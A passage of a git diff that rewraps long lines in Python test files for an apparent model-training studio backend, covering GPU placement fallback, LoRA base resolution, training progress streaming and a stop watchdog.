src.find("preserve_multi_gpu_on_layer = bool(") assert ( - "_effective_tensor_parallel(attempt_extra_args, tensor_parallel)" in src[pres : pres + 200] + "_effective_tensor_parallel(attempt_extra_args, tensor_parallel)" + in src[pres : pres + 200] ) # not the toggle-only form this replaced assert ( - "bool(\n request.tensor_parallel and not tensor_parallel" not in src + "bool(\n request.tensor_parallel and not tensor_parallel" + not in src ) @@ -472,9 +483,15 @@ def test_carry_preserved_tensor_intent_truth_table(): inference_routes = _load_inference_routes_module() f = inference_routes._carry_preserved_tensor_intent assert f(preserved = True, same_model = True, explicit_drop = False) is True - assert f(preserved = True, same_model = True, explicit_drop = True) is False # explicit drop - assert f(preserved = True, same_model = False, explicit_drop = False) is False # model switch - assert f(preserved = False, same_model = True, explicit_drop = False) is False # not a fallback + assert ( + f(preserved = True, same_model = True, explicit_drop = True) is False + ) # explicit drop + assert ( + f(preserved = True, same_model = False, explicit_drop = False) is False + ) # model switch + assert ( + f(preserved = False, same_model = True, explicit_drop = False) is False + ) # not a fallback def test_preserved_fallback_carried_across_non_drop_reload(): @@ -670,7 +687,9 @@ def test_explicit_split_mode_layer_extras_reloads_after_multi_gpu_fallback(): inference_routes = _load_inference_routes_module() - req = LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"]) + req = LoadRequest( + model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"] + ) assert "llama_extra_args" in req.model_fields_set assert ( inference_routes._request_matches_loaded_settings( @@ -727,18 +746,30 @@ def test_is_explicit_tensor_drop_truth_table(): f = _load_inference_routes_module()._is_explicit_tensor_drop # A non-tensor split-mode override is the one deliberate departure -> drop. assert ( - f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"])) is True + f( + LoadRequest( + model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"] + ) + ) + is True ) # tensor / retry re-engages, never a drop. assert ( - f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "tensor"])) + f( + LoadRequest( + model_path = "owner/repo", llama_extra_args = ["--split-mode", "tensor"] + ) + ) is False ) # A bare tensor_parallel field is the UI echo, not a drop (would collapse on reload). assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = False)) is False assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = True)) is False # Unrelated extra / empty clear / inherit all keep the preserved placement. - assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--top-k", "20"])) is False + assert ( + f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--top-k", "20"])) + is False + ) assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = [])) is False assert f(LoadRequest(model_path = "owner/repo")) is False @@ -763,7 +794,10 @@ def test_layer_preserves_tensor_intent_set_only_on_preserved_downgrade(): off = src.find("self._tensor_parallel = False") assert 0 <= on and 0 <= off assert "self._layer_preserves_tensor_intent = False" in src[on : on + 120] - assert "self._layer_preserves_tensor_intent = _layer_min_gpus > 1" in src[off : off + 400] + assert ( + "self._layer_preserves_tensor_intent = _layer_min_gpus > 1" + in src[off : off + 400] + ) def test_layer_min_gpus_bound_before_gpu_selection_try(): @@ -810,7 +844,10 @@ def test_already_in_target_state_reloads_on_tensor_off_after_fallback(): # Same preserved fallback but an implicit reload that carries the intent forward # (HF auto-pick / local-dir flows skip the route guard and reach here) -> dedupe. assert ( - _backend(True)._already_in_target_state(**kwargs, preserve_multi_gpu_on_layer = True) is True + _backend(True)._already_in_target_state( + **kwargs, preserve_multi_gpu_on_layer = True + ) + is True ) # A genuine layer load (no preserved intent) -> dedupe, no churn. assert _backend(False)._already_in_target_state(**kwargs) is True diff --git a/studio/backend/tests/test_trained_model_scan.py b/studio/backend/tests/test_trained_model_scan.py index 5d74bb7d28..5284c90526 100644 --- a/studio/backend/tests/test_trained_model_scan.py +++ b/studio/backend/tests/test_trained_model_scan.py @@ -29,7 +29,9 @@ from utils.models.model_config import ( ) -def test_scan_trained_models_includes_lora_and_full_finetune_outputs(tmp_path: Path, monkeypatch): +def test_scan_trained_models_includes_lora_and_full_finetune_outputs( + tmp_path: Path, monkeypatch +): # resolve_output_dir refuses absolutes outside outputs_root; point it at tmp_path. from utils.models import model_config as _mc from utils.paths import storage_roots as _sr @@ -52,14 +54,17 @@ def test_scan_trained_models_includes_lora_and_full_finetune_outputs(tmp_path: P (full_dir / "model.safetensors").write_bytes(b"") found = { - name: (path, model_type) for name, path, model_type in scan_trained_models(str(tmp_path)) + name: (path, model_type) + for name, path, model_type in scan_trained_models(str(tmp_path)) } assert found[lora_dir.name] == (str(lora_dir), "lora") assert found[full_dir.name] == (str(full_dir), "merged") -def test_get_base_model_from_checkpoint_falls_back_to_full_finetune_config(tmp_path: Path): +def test_get_base_model_from_checkpoint_falls_back_to_full_finetune_config( + tmp_path: Path, +): (tmp_path / "config.json").write_text( json.dumps({"_name_or_path": "HuggingFaceTB/SmolLM-135M"}) ) @@ -83,15 +88,22 @@ def test_lora_identifier_resolves_local_dir_like_the_local_helper(tmp_path: Path json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"}) ) (tmp_path / "adapter_model.safetensors").write_bytes(b"") - with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")): - assert get_base_model_from_lora_identifier(str(tmp_path)) == "HuggingFaceTB/SmolLM-135M" + with patch( + "huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call") + ): + assert ( + get_base_model_from_lora_identifier(str(tmp_path)) + == "HuggingFaceTB/SmolLM-135M" + ) def test_lora_identifier_resolves_remote_adapter_base(tmp_path: Path): # Remote adapter: the identifier helper fetches adapter_config.json from the Hub so # the gate can scan the base, where the local helper returns None. cfg = tmp_path / "adapter_config.json" - cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"})) + cfg.write_text( + json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"}) + ) def _dl( repo, @@ -102,7 +114,9 @@ def test_lora_identifier_resolves_remote_adapter_base(tmp_path: Path): assert fn == "adapter_config.json" return str(cfg) - assert get_base_model_from_lora("someone/my-remote-lora") is None # local-only: misses it + assert ( + get_base_model_from_lora("someone/my-remote-lora") is None + ) # local-only: misses it with patch("huggingface_hub.hf_hub_download", side_effect = _dl): base = get_base_model_from_lora_identifier("someone/my-remote-lora") assert base == "unsloth/Llama-3.2-1B-Instruct" @@ -112,16 +126,22 @@ def test_lora_identifier_returns_none_for_non_adapter_remote_repo(): # Non-LoRA remote repo: a 404 on adapter_config.json returns None without retrying. from huggingface_hub.utils import EntryNotFoundError - mock = patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")) + mock = patch( + "huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404") + ) with mock as m: - assert get_base_model_from_lora_identifier("unsloth/Llama-3.2-1B-Instruct") is None + assert ( + get_base_model_from_lora_identifier("unsloth/Llama-3.2-1B-Instruct") is None + ) assert m.call_count == 1 # 404 is definitive -> no retry def test_lora_identifier_retries_transient_then_resolves(tmp_path: Path): # A transient error is retried (not treated as "not a LoRA"); the retry resolves the base. cfg = tmp_path / "adapter_config.json" - cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"})) + cfg.write_text( + json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"}) + ) calls = {"n": 0} def _dl( @@ -150,7 +170,8 @@ def test_lora_identifier_persistent_transient_returns_none(): ): assert get_base_model_from_lora_identifier("someone/remote-lora") is None assert any( - "Could not resolve remote LoRA base" in str(c.args[0]) for c in mock_warn.call_args_list + "Could not resolve remote LoRA base" in str(c.args[0]) + for c in mock_warn.call_args_list ) @@ -160,7 +181,9 @@ def test_lora_identifier_persistent_transient_returns_none(): def test_model_config_full_finetune_local_path_is_not_lora( _mock_vision, _mock_audio_type, _mock_audio_input, tmp_path: Path ): - (tmp_path / "config.json").write_text(json.dumps({"_name_or_path": "unsloth/Qwen3-4B"})) + (tmp_path / "config.json").write_text( + json.dumps({"_name_or_path": "unsloth/Qwen3-4B"}) + ) (tmp_path / "model.safetensors").write_bytes(b"") config = ModelConfig.from_identifier(str(tmp_path)) diff --git a/studio/backend/tests/test_training_before_spawn.py b/studio/backend/tests/test_training_before_spawn.py index efd96aeda3..a8e764d39e 100644 --- a/studio/backend/tests/test_training_before_spawn.py +++ b/studio/backend/tests/test_training_before_spawn.py @@ -31,7 +31,9 @@ def _start(backend, hook): dummy_queue = object() with ( patch("core.training.training.prepare_gpu_selection", return_value = ([0], {})), - patch("core.training.training._CTX.Queue", side_effect = [dummy_queue, dummy_queue]), + patch( + "core.training.training._CTX.Queue", side_effect = [dummy_queue, dummy_queue] + ), patch("core.training.training._CTX.Process", return_value = _DummyProcess()), patch("core.training.training.threading.Thread", return_value = _DummyThread()), ): @@ -116,10 +118,16 @@ class TestBeforeSpawnHook(unittest.TestCase): with ( patch("utils.hardware.hardware.DEVICE", DeviceType.CUDA), - patch("core.training.training.prepare_gpu_selection", side_effect = _placement), - patch("core.training.training._CTX.Queue", side_effect = [object(), object()]), + patch( + "core.training.training.prepare_gpu_selection", side_effect = _placement + ), + patch( + "core.training.training._CTX.Queue", side_effect = [object(), object()] + ), patch("core.training.training._CTX.Process", return_value = _DummyProcess()), - patch("core.training.training.threading.Thread", return_value = _DummyThread()), + patch( + "core.training.training.threading.Thread", return_value = _DummyThread() + ), ): ok = backend.start_training( job_id = "before-spawn-test", @@ -143,10 +151,16 @@ class TestBeforeSpawnHook(unittest.TestCase): with ( patch("utils.hardware.hardware.DEVICE", DeviceType.CUDA), - patch("core.training.training.prepare_gpu_selection", side_effect = _placement), - patch("core.training.training._CTX.Queue", side_effect = [object(), object()]), + patch( + "core.training.training.prepare_gpu_selection", side_effect = _placement + ), + patch( + "core.training.training._CTX.Queue", side_effect = [object(), object()] + ), patch("core.training.training._CTX.Process", return_value = _DummyProcess()), - patch("core.training.training.threading.Thread", return_value = _DummyThread()), + patch( + "core.training.training.threading.Thread", return_value = _DummyThread() + ), ): ok = backend.start_training( job_id = "before-spawn-test", diff --git a/studio/backend/tests/test_training_config_popover_source.py b/studio/backend/tests/test_training_config_popover_source.py index 4263b012eb..033d973d4f 100644 --- a/studio/backend/tests/test_training_config_popover_source.py +++ b/studio/backend/tests/test_training_config_popover_source.py @@ -17,7 +17,9 @@ from __future__ import annotations from pathlib import Path -_STUDIO_FRONTEND = Path(__file__).resolve().parents[2] / "frontend" / "src" / "features" / "studio" +_STUDIO_FRONTEND = ( + Path(__file__).resolve().parents[2] / "frontend" / "src" / "features" / "studio" +) def _read(rel: str) -> str: diff --git a/studio/backend/tests/test_training_preflight.py b/studio/backend/tests/test_training_preflight.py index 47c6669f8f..9f2e51d2e4 100644 --- a/studio/backend/tests/test_training_preflight.py +++ b/studio/backend/tests/test_training_preflight.py @@ -47,7 +47,9 @@ def _stub_if_missing(name, attrs): setattr(sys.modules[parent], child, mod) -_stub_if_missing("unsloth", ("FastLanguageModel", "FastVisionModel", "is_bfloat16_supported")) +_stub_if_missing( + "unsloth", ("FastLanguageModel", "FastVisionModel", "is_bfloat16_supported") +) _stub_if_missing("unsloth.chat_templates", ("get_chat_template",)) _stub_if_missing("trl", ("SFTTrainer", "SFTConfig")) @@ -110,13 +112,17 @@ class _RealTemplateTokenizer: class TestPreflightFirstBatch(unittest.TestCase): def test_float_input_ids_with_empty_template_suggests_instruct(self): - ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}] + ds = [ + {"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]} + ] inner = _FakeInnerTrainer( batch = {"input_ids": torch.zeros((1, 0), dtype = torch.float32)}, train_dataset = ds, ) s = _fake_self( - inner = inner, model_name = "Qwen/Qwen2-VL-7B", tokenizer = _EmptyTemplateTokenizer() + inner = inner, + model_name = "Qwen/Qwen2-VL-7B", + tokenizer = _EmptyTemplateTokenizer(), ) msg = s._preflight_first_batch() self.assertIsNotNone(msg) @@ -125,13 +131,17 @@ class TestPreflightFirstBatch(unittest.TestCase): self.assertIn("base (pretrained) model", msg) def test_no_instruct_hint_when_model_already_instruct(self): - ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}] + ds = [ + {"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]} + ] inner = _FakeInnerTrainer( batch = {"input_ids": torch.zeros((1, 0), dtype = torch.float32)}, train_dataset = ds, ) s = _fake_self( - inner = inner, model_name = "org/Foo-Instruct", tokenizer = _EmptyTemplateTokenizer() + inner = inner, + model_name = "org/Foo-Instruct", + tokenizer = _EmptyTemplateTokenizer(), ) msg = s._preflight_first_batch() self.assertIsNotNone(msg) @@ -176,17 +186,23 @@ class TestChatTemplateRendersEmpty(unittest.TestCase): return _fake_self(inner = inner, tokenizer = tokenizer) def test_empty_render_detected(self): - ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}] + ds = [ + {"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]} + ] s = self._self(train_dataset = ds, tokenizer = _EmptyTemplateTokenizer()) self.assertTrue(s._chat_template_renders_empty()) def test_nonempty_render_not_flagged(self): - ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}] + ds = [ + {"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]} + ] s = self._self(train_dataset = ds, tokenizer = _RealTemplateTokenizer()) self.assertFalse(s._chat_template_renders_empty()) def test_no_messages_key_not_flagged(self): - s = self._self(train_dataset = [{"text": "raw"}], tokenizer = _EmptyTemplateTokenizer()) + s = self._self( + train_dataset = [{"text": "raw"}], tokenizer = _EmptyTemplateTokenizer() + ) self.assertFalse(s._chat_template_renders_empty()) @@ -299,7 +315,11 @@ print(json.dumps({ """ env = os.environ.copy() env["PYTHONPATH"] = os.pathsep.join( - [str(repo_root), str(repo_root / "studio" / "backend"), env.get("PYTHONPATH", "")] + [ + str(repo_root), + str(repo_root / "studio" / "backend"), + env.get("PYTHONPATH", ""), + ] ) result = subprocess.run( [sys.executable, "-c", script], @@ -326,7 +346,11 @@ def test_mlx_adapter_builds_config_and_reports_completion(tmp_path, monkeypatch) captured["config"] = config event_queue.put({"type": "progress", "step": 1, "total_steps": 1, "loss": 0.25}) event_queue.put( - {"type": "complete", "status_message": "done", "output_dir": config["output_dir"]} + { + "type": "complete", + "status_message": "done", + "output_dir": config["output_dir"], + } ) trainer = trainer_mod.UnslothTrainer() @@ -382,7 +406,9 @@ def test_mlx_worker_helpers_cover_cli_paths(tmp_path, monkeypatch): ) == str((tmp_path / "cli-out").resolve()) -def test_run_mlx_training_process_applies_side_effects_before_hardware_detection(monkeypatch): +def test_run_mlx_training_process_applies_side_effects_before_hardware_detection( + monkeypatch, +): _load_trainer_module(monkeypatch, "mlx") from core.training import worker from utils.hardware import hardware as hw diff --git a/studio/backend/tests/test_training_progress_prep_timeout.py b/studio/backend/tests/test_training_progress_prep_timeout.py index 28e2ee37b9..5c44a4cac6 100644 --- a/studio/backend/tests/test_training_progress_prep_timeout.py +++ b/studio/backend/tests/test_training_progress_prep_timeout.py @@ -61,7 +61,9 @@ class _Backend: self.eval_enabled = False self._active_calls = 0 self._active_polls = active_polls - self.trainer = types.SimpleNamespace(training_progress = _Progress(step = live_step)) + self.trainer = types.SimpleNamespace( + training_progress = _Progress(step = live_step) + ) def is_training_active(self): self._active_calls += 1 @@ -104,19 +106,27 @@ def _fast_short_timeout(monkeypatch): monkeypatch.setattr(rt, "_PROGRESS_STALL_TIMEOUT_POLLS", 3) -def test_prep_phase_does_not_time_out_before_first_step(monkeypatch, _fast_short_timeout): +def test_prep_phase_does_not_time_out_before_first_step( + monkeypatch, _fast_short_timeout +): # Step 0 for many polls (far past the timeout), then the run ends. Pre-step # this is preparation, not a stall: no error event may be emitted. backend = _Backend(active_polls = 20, step_history = [], live_step = 0) monkeypatch.setattr(rt, "get_training_backend", lambda: backend) - raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester"))) + raw = _raw( + asyncio.run( + rt.stream_training_progress(_FakeRequest(), current_subject = "tester") + ) + ) assert ( backend._active_calls > rt._PROGRESS_STALL_TIMEOUT_POLLS + 1 ), "the loop must have run past the stall threshold for this test to be meaningful" assert "event: heartbeat" in raw, "prep heartbeats should still flow" - assert "event: error" not in raw, "a still-preparing run must not be timed out as a stall" + assert ( + "event: error" not in raw + ), "a still-preparing run must not be timed out as a stall" def test_stall_after_first_step_still_times_out(monkeypatch, _fast_short_timeout): @@ -125,7 +135,11 @@ def test_stall_after_first_step_still_times_out(monkeypatch, _fast_short_timeout backend = _Backend(active_polls = 100, step_history = [1, 2], live_step = 5) monkeypatch.setattr(rt, "get_training_backend", lambda: backend) - raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester"))) + raw = _raw( + asyncio.run( + rt.stream_training_progress(_FakeRequest(), current_subject = "tester") + ) + ) assert "event: error" in raw, "a real post-step stall should still time out" @@ -139,7 +153,9 @@ def test_reconnect_to_stepped_run_still_times_out(monkeypatch, _fast_short_timeo monkeypatch.setattr(rt, "get_training_backend", lambda: backend) raw = _raw( - asyncio.run(rt.stream_training_progress(_ReconnectRequest(), current_subject = "tester")) + asyncio.run( + rt.stream_training_progress(_ReconnectRequest(), current_subject = "tester") + ) ) assert ( diff --git a/studio/backend/tests/test_training_progress_stream_nan.py b/studio/backend/tests/test_training_progress_stream_nan.py index 5cd84bbca5..68dc2a8b63 100644 --- a/studio/backend/tests/test_training_progress_stream_nan.py +++ b/studio/backend/tests/test_training_progress_stream_nan.py @@ -97,7 +97,9 @@ def test_stream_reports_live_step_with_null_loss_during_nan(monkeypatch): backend = _FakeBackend(active_polls = 2) monkeypatch.setattr(rt, "get_training_backend", lambda: backend) - response = asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")) + response = asyncio.run( + rt.stream_training_progress(_FakeRequest(), current_subject = "tester") + ) raw = _collect_events(response) payloads = _progress_payloads(raw) assert payloads, f"no SSE payloads parsed from: {raw!r}" @@ -119,7 +121,9 @@ def test_inactive_stream_completes_with_live_step_and_null_loss(monkeypatch): backend = _FakeBackend(active_polls = 0) monkeypatch.setattr(rt, "get_training_backend", lambda: backend) - response = asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")) + response = asyncio.run( + rt.stream_training_progress(_FakeRequest(), current_subject = "tester") + ) payloads = _progress_payloads(_collect_events(response)) final = payloads[-1] assert final["step"] == 5 @@ -147,7 +151,9 @@ def test_stream_uses_finite_history_when_progress_in_sync(monkeypatch): backend.trainer.training_progress.loss = 1.5 monkeypatch.setattr(rt, "get_training_backend", lambda: backend) - response = asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")) + response = asyncio.run( + rt.stream_training_progress(_FakeRequest(), current_subject = "tester") + ) payloads = _progress_payloads(_collect_events(response)) finite = [p for p in payloads if p.get("step") == 2] assert finite and finite[0]["loss"] == 1.5 diff --git a/studio/backend/tests/test_training_pump_resilience.py b/studio/backend/tests/test_training_pump_resilience.py index d75b205f35..603ad9afb4 100644 --- a/studio/backend/tests/test_training_pump_resilience.py +++ b/studio/backend/tests/test_training_pump_resilience.py @@ -304,7 +304,9 @@ def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch): pump = threading.Thread(target = b._pump_loop, daemon = True) pump.start() pump.join(timeout = 5) - assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising" + assert ( + not pump.is_alive() + ), "pump must finalize a dead worker even when reads keep raising" assert b._progress.is_training is False assert finalized.get("status") == "error" assert b._pump_running is False @@ -453,7 +455,9 @@ def _stub_spawn(monkeypatch): hw = _types.ModuleType("utils.hardware") hw.prepare_gpu_selection = lambda *a, **k: (None, None) - hw.hardware = type("HW", (), {"DEVICE": "cuda", "DeviceType": type("D", (), {"MLX": "mlx"})})() + hw.hardware = type( + "HW", (), {"DEVICE": "cuda", "DeviceType": type("D", (), {"MLX": "mlx"})} + )() monkeypatch.setitem(sys.modules, "utils.hardware", hw) pl = _types.ModuleType("utils.process_lifetime") diff --git a/studio/backend/tests/test_training_raw_support.py b/studio/backend/tests/test_training_raw_support.py index fb3cffc91e..816a564f60 100644 --- a/studio/backend/tests/test_training_raw_support.py +++ b/studio/backend/tests/test_training_raw_support.py @@ -257,7 +257,9 @@ class TestTrainingRawSupport(unittest.TestCase): 'getattr(MLXTrainingConfig, "__dataclass_fields__", {})', source, ) - self.assertIn('if "cast_norm_output_to_input_dtype" in _supported_fields:', source) + self.assertIn( + 'if "cast_norm_output_to_input_dtype" in _supported_fields:', source + ) self.assertIn('if "dataset_order" in _supported_fields:', source) self.assertIn('if "max_grad_leaf_norm" in _supported_fields:', source) self.assertIn( @@ -395,7 +397,10 @@ class TestTrainingRawSupport(unittest.TestCase): self.assertEqual(result.dataset[0]["text"], "hello") self.assertEqual(result.dataset[1]["text"], "world") self.assertTrue( - any("null or non-string 'text' values" in notice.message for notice in result.notices) + any( + "null or non-string 'text' values" in notice.message + for notice in result.notices + ) ) diff --git a/studio/backend/tests/test_training_resume.py b/studio/backend/tests/test_training_resume.py index 91fdac9961..40df3c8f4b 100644 --- a/studio/backend/tests/test_training_resume.py +++ b/studio/backend/tests/test_training_resume.py @@ -67,7 +67,9 @@ def test_can_resume_run_rejects_s3_dataset_source(monkeypatch): def test_can_resume_run_rejects_s3_metadata_marker(monkeypatch): monkeypatch.setattr(resume, "has_resume_state", lambda _path: True) - run = _stopped_run(config_json = json.dumps({"s3_dataset": {"bucket": "training-data"}})) + run = _stopped_run( + config_json = json.dumps({"s3_dataset": {"bucket": "training-data"}}) + ) assert resume.can_resume_run(run) is False @@ -77,7 +79,9 @@ def test_list_runs_includes_config_json_for_resume_policy(monkeypatch, tmp_path) monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path)) monkeypatch.setattr(studio_db, "_schema_ready", False) - config_json = json.dumps({"dataset_source": "s3", "s3_dataset": {"bucket": "training-data"}}) + config_json = json.dumps( + {"dataset_source": "s3", "s3_dataset": {"bucket": "training-data"}} + ) studio_db.create_run( id = "run-s3", diff --git a/studio/backend/tests/test_training_runs.py b/studio/backend/tests/test_training_runs.py index fd0d6d380f..1a977bbcbc 100644 --- a/studio/backend/tests/test_training_runs.py +++ b/studio/backend/tests/test_training_runs.py @@ -13,7 +13,10 @@ from utils.training_runs import ( def test_normalize_project_name_trims_and_collapses_whitespace(): - assert normalize_project_name(" Customer Support LoRA ") == "Customer Support LoRA" + assert ( + normalize_project_name(" Customer Support LoRA ") + == "Customer Support LoRA" + ) def test_normalize_project_name_returns_none_for_empty_or_invalid_values(): @@ -22,7 +25,9 @@ def test_normalize_project_name_returns_none_for_empty_or_invalid_values(): def test_slugify_project_name_makes_safe_suffix(): - assert slugify_project_name("Customer Support / LoRA v2") == "customer-support-lora-v2" + assert ( + slugify_project_name("Customer Support / LoRA v2") == "customer-support-lora-v2" + ) def test_slugify_project_name_rejects_path_only_or_separator_only_values(): @@ -37,7 +42,10 @@ def test_build_default_output_dir_name_appends_project_slug(): timestamp = 1771227800, ) - assert output_dir == "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800" + assert ( + output_dir + == "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800" + ) def test_build_default_output_dir_name_caps_final_component(tmp_path): @@ -77,7 +85,9 @@ def test_model_segment_preserves_project_marker_text_in_model_name(): ) assert output_dir == "org_foo__project--bar_1771227800" - assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar" + assert ( + model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar" + ) def test_model_segment_strips_project_slug_after_escaped_model_marker(): @@ -88,7 +98,9 @@ def test_model_segment_strips_project_slug_after_escaped_model_marker(): ) assert output_dir == "org_foo__project--bar__project-customer-support_1771227800" - assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar" + assert ( + model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar" + ) def test_extract_project_name_from_config_json_returns_normalized_name(): @@ -100,4 +112,7 @@ def test_extract_project_name_from_config_json_returns_normalized_name(): def test_extract_project_name_from_config_json_handles_missing_or_invalid_payload(): assert _extract_project_name_from_config_json(None) is None assert _extract_project_name_from_config_json("not-json") is None - assert _extract_project_name_from_config_json(json.dumps({"project_name": " "})) is None + assert ( + _extract_project_name_from_config_json(json.dumps({"project_name": " "})) + is None + ) diff --git a/studio/backend/tests/test_training_stop_watchdog.py b/studio/backend/tests/test_training_stop_watchdog.py index 0cd702bce2..9fba4802c2 100644 --- a/studio/backend/tests/test_training_stop_watchdog.py +++ b/studio/backend/tests/test_training_stop_watchdog.py @@ -122,7 +122,9 @@ def _wait_until(predicate, timeout = 5.0): def _record_force_terminate(monkeypatch, b): """Replace force_terminate + escalation finalize with recorders (no DB/OS).""" calls: list = [] - monkeypatch.setattr(b, "force_terminate", lambda target_proc = None: calls.append("force")) + monkeypatch.setattr( + b, "force_terminate", lambda target_proc = None: calls.append("force") + ) monkeypatch.setattr( b, "_finalize_stopped_after_escalation", @@ -138,7 +140,9 @@ def _record_force_terminate(monkeypatch, b): def test_watchdog_escalates_after_grace_once_complete_seen(monkeypatch): monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05) - monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0) # ensure grace, not timeout, fires + monkeypatch.setitem( + _G, "_STOP_TIMEOUT_S", 100.0 + ) # ensure grace, not timeout, fires b = TrainingBackend() calls = _record_force_terminate(monkeypatch, b) @@ -171,7 +175,9 @@ def test_watchdog_does_not_kill_save_still_saving_within_window(monkeypatch): b._start_stop_watchdog(cancel = False) time.sleep(0.3) - assert calls == [], "an in-progress save must not be killed within the absolute window" + assert ( + calls == [] + ), "an in-progress save must not be killed within the absolute window" assert b._stop_watchdog.is_alive() proc._alive = False @@ -306,7 +312,9 @@ def test_force_terminate_targets_only_captured_proc(): b._proc = new_proc b.force_terminate(target_proc = old_proc) assert new_proc.terminated is False, "must not terminate the new run's worker" - assert old_proc.terminated is False, "must not terminate a handle that is not current" + assert ( + old_proc.terminated is False + ), "must not terminate a handle that is not current" # Matching: the captured handle is the current worker, so it is terminated. p = _FakeProc(alive = True) @@ -363,10 +371,14 @@ def test_finalize_after_escalation_clears_state(monkeypatch): b._finalize_stopped_after_escalation(watched_job_id = "job_c") - assert b._proc is None, "the wedged handle must be dropped so is_training_active clears" + assert ( + b._proc is None + ), "the wedged handle must be dropped so is_training_active clears" assert b._progress.is_training is False assert b._progress.status_message == "Training stopped." - assert finstop and finstop[0][0] == "job_c", "the captured run must be finalized by id" + assert ( + finstop and finstop[0][0] == "job_c" + ), "the captured run must be finalized by id" assert b.is_training_active() is False @@ -499,7 +511,13 @@ def test_later_cancel_tightens_watchdog_timeout(monkeypatch): def _install_fake_db(monkeypatch): """Stub storage.studio_db + utils.downsample so the real DB helpers run without SQLite. Returns the recorder dict.""" - recs = {"created": [], "finished": [], "inserted": [], "insert_ids": [], "progress_ids": []} + recs = { + "created": [], + "finished": [], + "inserted": [], + "insert_ids": [], + "progress_ids": [], + } fake_storage = _types.ModuleType("storage") fake_db = _types.ModuleType("storage.studio_db") fake_db.create_run = lambda **kw: recs["created"].append(kw) @@ -538,7 +556,9 @@ def test_finalize_run_in_db_single_winner_under_concurrency(monkeypatch): for t in threads: t.join(timeout = 5) - assert len(recs["finished"]) == 1, f"finalize must run once, got {len(recs['finished'])}" + assert ( + len(recs["finished"]) == 1 + ), f"finalize must run once, got {len(recs['finished'])}" assert b._run_finalized is True @@ -552,7 +572,9 @@ def test_finalize_run_in_db_no_ops_on_job_mismatch(monkeypatch): b._finalize_run_in_db(status = "stopped", expected_job_id = "job_old") - assert recs["finished"] == [], "a superseded job id must not finalize the current run" + assert ( + recs["finished"] == [] + ), "a superseded job id must not finalize the current run" assert b._run_finalized is False @@ -595,7 +617,9 @@ def test_flush_pins_to_passed_run_id(monkeypatch): b._flush_metrics_to_db(run_id = "job_old") - assert recs["insert_ids"] == ["job_old"], "metrics must go to the captured run, not the new one" + assert recs["insert_ids"] == [ + "job_old" + ], "metrics must go to the captured run, not the new one" assert recs["progress_ids"] == ["job_old"] @@ -648,7 +672,9 @@ def test_ensure_db_run_created_publishes_only_after_insert(monkeypatch): b._ensure_db_run_created() - assert observed["flag_during_create"] is False, "flag must not be published before insert" + assert ( + observed["flag_during_create"] is False + ), "flag must not be published before insert" assert observed["in_progress_during_create"] is True assert b._db_run_created is True, "flag must be published after a successful insert" assert b._db_create_in_progress is False @@ -673,8 +699,12 @@ def test_ensure_db_run_created_stays_unpublished_on_failure(monkeypatch): b._ensure_db_run_created() - assert b._db_run_created is False, "a failed insert must not publish the row as created" - assert b._db_create_in_progress is False, "the in-progress flag must be cleared on failure" + assert ( + b._db_run_created is False + ), "a failed insert must not publish the row as created" + assert ( + b._db_create_in_progress is False + ), "the in-progress flag must be cleared on failure" def test_ensure_db_run_created_does_not_publish_for_a_new_run(monkeypatch): @@ -700,9 +730,13 @@ def test_ensure_db_run_created_does_not_publish_for_a_new_run(monkeypatch): b._ensure_db_run_created() - assert b._db_run_created is False, "must not publish the created flag against the new run" + assert ( + b._db_run_created is False + ), "must not publish the created flag against the new run" # The stale claim is left for start_training to reset, not satisfied for the new run. - assert b._db_create_in_progress is True, "must not clear the claim once the run is not current" + assert ( + b._db_create_in_progress is True + ), "must not clear the claim once the run is not current" # ---------------------------------------------------------------------------- @@ -725,9 +759,13 @@ def test_escalation_finalizes_watched_run_by_id_end_to_end(monkeypatch): b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_old") - assert [f["id"] for f in recs["finished"]] == ["job_old"], "must finish the captured 